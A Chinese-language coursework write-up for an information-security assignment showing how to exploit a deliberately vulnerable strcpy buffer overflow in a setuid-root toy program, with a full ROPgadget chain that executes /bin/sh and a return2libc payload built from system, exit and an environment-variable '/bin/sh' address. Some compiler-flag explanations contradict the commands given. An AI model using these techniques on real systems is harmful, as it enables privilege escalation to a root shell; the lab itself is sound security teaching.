华科信息系统安全作业2:ROP与Return2Libc攻击
作业要求
homework2.c有缓冲区溢出漏洞,利用return2libc或rop攻击, 编写exploit程序来构建恶意输入文件,攻击目标为运行shell
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int vulfunc(char *str){
char buffer[25];
strcpy(buffer, str);
return 1;
}
int main(){
char str[500];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char), 400, badfile);
vulfunc(str);
printf("Returned properly\n");
fclose(badfile);
return 0;
}
1. ROP
1.1 安装ROPgadget
对于ubuntu16.04,默认安装了python2,只需要安装pip即可,然后再安装ROPgadget依赖capstone,就能顺利安装ROPgadget了,命令如下:
sudo apt-get install python-pip
sudo pip install capstone
sudo pip install ROPgadget
1.2 环境
地址随机化打开
sudo sysctl -w kernel.randomize_va_space=2
之后编译目标文件stack.c,其中参数-fno-stack-protector用来关闭gcc编译器gs验证码机制, -z execstack用来关闭ld链接器堆栈段不可执行机制
gcc -g -fno-stack-protector -z nonexecstack -static -o stack_gdb stack.c
设置程序文件的owner为root
sudo chown root stack_gdb
sudo chmod 4755 stack_gdb
1.3 EIP与buffer的距离
只需将buffer[100]填充为1~100的数字来标志其位置,出错位置即为所求
脚本如下:
import sys
# fill content with none zero values
content = bytearray(0x01 for i in range(100));
for i in range(100):
content[i] += i
badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()
得之,0x25 = 37 bit 为system起始地址.
1.4 badfile & Attack
运行命令ROPgadget --binary ./stack --ropchain
分析测试程序,生成gadget链
Padding代码如下:
from struct import pack
p = ''
for i in range(37):
p += pack('<B', 0xaa)
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df505) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0806cde5) # int 0x80
badfile = open("badfile", "wb")
badfile.write(p)
badfile.close()
生成badfile(注意,此处必须使用python2运行,python3会报错)
最终执行
2. Return2libc
环境配置
关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
编译,关闭可执行栈、关闭StackGuard
gcc -fno-stack-protector -z nonexecstack -o stack stack.c
设置程序文件的owner为root
sudo chown root stack
sudo chmod 4755 stack
Task A :查找system()的地址
p system
p exit
这里system 的地址为0xb7e43da0,exit的地址为0xb7e379d0
Task B :查找 “/bin/sh” 字符串的地址
在环境变量中export该字符串,后查询地址为0xbffffe58
代码如下:
-----env.c-----
#include<stdio.h>
int main(){
char *shell = (char*)getenv("MYSHELL");
if(shell){
printf("VALUE: %s\n",shell);
printf("ADDRESS: %x\n",(unsigned int)shell);
}
}
Task C : 为system()构造参数,在堆栈中查找位置以放置“/bin/sh” 地址(system()的参数)
再次用gdb调试程序,同样设置断点在vulfunc,主要是为了进入堆栈段,单后打印MYSHELL=”/bin/sh”所在地址周围的串,可以找到其在栈中地址为0xbffffe4d
命令为x /500s 0xbffffe40
MYSHELL地址为0xbffffe4d,不过后来测试的时候发现还是0xbffffe58,若为此时的地址,会出错
寻找EIP,即返回地址,之后要指向system函数的地址
b vulfunc 用gdb调试代码,设置断点在函数vulfunc中
p $ebp 运行到断点后,查看ebp与buffer地址
p &buffer
p/d 0xbfffed98 - 0xbfffed77 计算偏移为0x21 = 33
33+4=37 故想覆盖[esp+4] = EIP需要预先填充37个字节
具体覆盖位置如下:
故system地址在ebp+4,exit地址在ebp+8,MYSHELL地址在ebp+12,代码如下:
#!/usr/bin/python3
import sys
# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))
# "/bin/sh"
#ebp+12
shell = 0xbffffe58
content[45:49] = (shell).to_bytes(4,byteorder='little')
# exit
#ebp+8
exit = 0xb7e379d0
content[41:45] = (exit).to_bytes(4,byteorder='little')
# system
sys = 0xb7e43da0
#ebp+4
content[37:41] = (sys).to_bytes(4,byteorder='little')
# Write the content to a file
file = open("badfile", "wb")
file.write(content)
file.close()
运行,可以得到如下命令行: